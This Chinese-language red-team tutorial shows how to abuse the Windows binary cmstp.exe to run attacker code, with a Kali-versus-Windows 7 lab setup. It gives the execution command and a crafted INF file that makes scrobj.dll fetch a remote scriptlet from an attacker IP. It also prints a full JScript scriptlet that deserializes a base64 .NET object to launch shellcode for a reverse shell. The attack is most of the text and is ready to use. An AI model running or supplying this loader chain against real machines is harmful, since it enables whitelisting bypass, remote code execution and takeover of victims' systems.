0x01 Cmstp简介
Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用，则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。
微软官方文档：
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
说明：Cmstp.exe所在路径已被系统添加PATH环境变量中，因此，Cmstp命令可识别，需注意x86，x64位的Cmstp调用。
Windows 2003 默认位置：
C:\Windows\System32\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
Windows 7 默认位置：
C:\Windows\System32\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
0x02 复现
攻击机： Kali
靶机：Win 7
Msf配置:
靶机执行：
cmstp.exe /ni /s C:\Users\John\Desktop\rev.inf
Micropoor_rev_cmstp_inf：
[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Micropoor" ShortSvcName="Micropoor"
cmstp_rev_53_x64.sct
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111‐0000‐0000‐0000‐0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
function setversion() {
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
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var entry_class = 'ShellCodeLauncher.Program';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
]]>
</script>
</registration>
</scriptlet>